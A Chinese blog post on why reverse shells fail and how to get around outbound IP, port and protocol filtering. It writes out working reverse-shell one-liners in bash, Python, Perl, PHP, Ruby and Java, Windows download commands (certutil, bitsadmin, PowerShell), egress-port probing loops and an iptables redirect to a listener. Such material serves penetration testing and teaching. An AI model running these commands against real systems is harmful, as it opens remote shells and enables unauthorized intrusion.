首页 > 系统相关 >反弹shell失败的原因

反弹shell失败的原因

时间:2024-04-30 21:12:09浏览次数:25  
标签:shell 端口 tcp echo 失败 反弹 bash

reverse_shell失败

常规反弹方法失效,curl了一下百度,可以访问(未限制出站ip),curl其他端口可以访问(可能未限制端口)。

这里应该限制了出站协议。

http协议可以出网,ICMP协议可以出网。

这里vps被封了。我们反弹时最好选择443端口或者80端口。

  • 反弹shell失败的原因有很多:

    • 反弹的命令不存在或当前用户无权限调用bash
    • 禁止出站IP(只允许访问特定ip)
    • 禁止出站端口(只允许访问特定端口)
    • 禁止出站协议(只允许特定协议,如icmpdnshttp)

反弹的命令不存在或当前用户无权限调用bash

由于这种情况下只局限于Linux,所以不考虑Windows

反弹shell的命令,尽管这么多命令可以反弹shell,但是最终都还是调用bash来反弹,如下:

#确认bash环境
whereis bash

#bash反弹
bash -i >& /dev/tcp/192.168.10.27/4444 0>&1
bash -c "bash -i >& /dev/tcp/192.168.0.189/6666 0>&1"	//sh的shell下用这条

#python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.27",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

#Perl反弹
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

#PHP反弹
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3>&3 2>&3");'

#Ruby反弹
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)'

#Java反弹
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 2="" |="" while="" read="" line;="" do="" \$line="">&5 >&5; done"] as String[]) p.waitFor()

禁止出站IP

基本无解,除非拿到该网段的其他机器配置端口转发才能反弹shell。

对于这种情况的话,就很麻烦了。如果目标主机设置了严格的策略,只允许主动连接公网指定的IP。这样的话,就没办法反弹shell了。

禁止出站协议

探测HTTP协议

Linux系统可以使用curl命令:
    curl http://192.168.10.13
Windows系统可以使用以下命令:
    certutil -urlcache -split -f http://192.168.10.13/1
    bitsadmin /transfer test http://192.168.10.13/1 c:\1
    powershell iwr -Uri http://192.168.10.13/1 -OutFile 1 -UseBasicParsing

探测icmp协议

#tcpdump
sudo tcpdump icmp

#tshark,建议用这条
sudo apt install tshark	#允许非root用户捕获数据包
sudo tshark -i eth0 -f "icmp"

探测DNS协议

Windows:nslookup、ping
Linux:nslookup、dig、ping

通过判断能否将域名解析为ip,判断DNS协议是否出网。也可以将域名换成dnslog的域名,再看dnslog能否收到请求

禁止出站端口

如果防火墙上做了限制,只允许该服务器访问公网地址的特定端口。那么,这样的话,我们就必须得找到允许访问的端口了。

这里有一篇文章对这个讲的很好,传送门:照弹不误:出站端口受限环境下反弹Shell的思考

以下是该文的一些思路

Linux系统

对于Linux系统,探测其允许出网的端口,这里使用的是Linux的自带命令,所以适用于每个Linux版本。

#探测指定范围
for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i [+]Open[+]" || echo "$i closed";done
 
#也可以将结果写入文件中
for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i [+]Open[+]"|| echo "$i closed";done >> result.txt
 
#探测常见出网端口
for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i [+]Open[+]" || echo "$i closed";done

Windows系统

#探测端口范围
powershell -c "440..445 | %{tnc -InformationLevel Quiet 220.181.38.148 -port $_}"
#指定端口
powershell -c "53,80,443 | %{tnc -InformationLevel Quiet 220.181.38.148 -port $_}"
 
#或者
 
powershell -c "80,81 | %{try {(new-object Net.Sockets.TcpClient).Connect('220.181.38.148',$_);Write-Host "$_ open"} catch {Write-Host "$_ closed"} finally {} }"|findstr /I open

探测的端口范围

可以根据nmap的端口范围探测

nmap -n --top-ports 100 127.0.0.1 -oA foo > /dev/null
grep -i "services\=" foo.xml | sed -r 's/.*services\=\"(.*)(\"\/>)/\1/g'

攻击端的端口请求记录

我们攻击端这边需要有目标机访问的记录,才能更好的判断目标机器是否访问了我们。这样,只要目标机器访问到了我们VPS的任意一个端口,我们这边都能有记录。

#第一步需要关闭vps防火墙

#备份iptables规则
iptables-save > /tmp/firewall.rules

#将所有端口的流量都转发到34444端口
#实际操作时,排除 [1, 1024] 间的系统分配的端口,只捆绑 [1025, 65536] 的端口。还要排除掉反弹shell的端口。所以尽量缩小范围
iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 34444

#监听34444端口
nc -lvnp 34444
#恢复iptables规则
iptables-restore < /tmp/firewall.rules

写在最后

如果环境允许,再结合结合 MSF 的 reverse_tcp_allports 载荷,甚至可以省去找寻有效端口的步骤,直接反弹 shell。

标签:shell,端口,tcp,echo,失败,反弹,bash
From: https://www.cnblogs.com/Rainy-Day/p/18168668

相关文章

  • nodejs webshell
    consthttp=require('node:http');consturl=require('node:url');constos=require('node:os');const{exec}=require('node:child_process');//获取系统信息functiongetSymInfo(){return{arch:os.arch(),......
  • nacos启动失败:No DataSource set
    通过docker查看nacos的日志发现nacos好端端的突然不能用了dockerlogsnacos报错后说是nodatasourceset,我看了我在docker里的MySQL是正常启动的,而且我本机的navicat是可以正常链接MySQL的多次通过dockerstart/stopnacos无效解决方法:重启一遍docker服务,但是要注意:MySQL优......
  • 自动批量实现linux机器ssh免密shell脚本
    要同时指定SSH端口和密码来实现非交互式地使用ssh-copy-id,可以使用sshpass来实现。sshpass是一个用于通过非交互方式输入密码的工具。下面是一个示例脚本,它使用sshpass、ssh-copy-id以及指定的端口号来实现这一目标:1#!/bin/bash23#检查是否提供了目标主机列表文件4i......
  • Shell 脚本(Bash 版)
    0x01概述(1)Shell简介Shell是一个命令行解释器flowchartLR用户输入命令-->接收并将命令传递给内核执行-->将命令执行的结果返回给用户Shell种类丰富,包括sh、csh、ksh、bash、zsh、fish等以下内容使用的是bash(BourneAgainShell)Linux系统中默认安装的是bashW......
  • ansible 常用模块 shell
    shell模块说明shell模块用于在目标主机上执行命令,类似于在命令行中直接输入命令。这个模块允许你执行任何命令,但是要注意命令的安全性和可重复性。shell模块语法-name:Executeshellcommandansible.builtin.shell:cmd:<command>chdir:<directory>#......
  • shell 命令专栏总结
    一、菜鸟教程1、只读变量readonly使用readonly命令可以将变量定义为只读变量,只读变量的值不能被改变。#!/bin/bashmyUrl="https://www.google.com"readonlymyUrlmyUrl="https://www.runoob.com"/bin/sh:NAME:Thisvariableisreadonly.2、单引号与双引号的区别......
  • Window 安装 Python 失败 0x80070643,发生严重错误
    问题现象用安装包在window安装python,会遇到没有安装成功,卸载后,再次双击安装包安装的时候,直接无法安装了。这个问题在githubissue中有提到,但是都是2022年的时,代码修复,但是在2024年,安装的时候还是遇到了这个问题。测试下来:python3.7,3.8没有这个问题,如果着急,就先安......
  • 21-Shell编程
    21.1正则表达式21.1.4字符集和单词“单词”指的是两侧由非单词字符分隔的字符串。非单词字符指的是字母、数字、下划线以外的任何字符。21.1.5字符类POSIX正则表达式中的字符类类匹配字符[[:alnum:]]文字、数字字符[[:alpha:]]字母字符[[:lower:]]小写......
  • linux修改shell,以及安装zsh配置oh-my-zsh.md
    查看当前shellecho$SHELL查看系统中有哪些shellcat/etc/shells修改shell,输入要切换的shell,例/bin/zshchsh-s/bin/zsh安装zshyuminstall-yzshoh-my-zsh克隆zshgitclonehttps://github.com/robbyrussell/oh-my-zsh.git~/.oh-my-zshgithub拉不下来的话去gitee......
  • ddddocr 文字验证码识别库 pip install下载失败
    第三方开源库,验证码识别github地址:https://github.com/sml2h3/ddddocr安装pipinstallddddocr下载失败的话使用国内安装源pip3install-ihttps://pypi.tuna.tsinghua.edu.cn/simpleddddocr附带一个api快速部署github地址:https://github.com/sml2h3/ocr_api_server......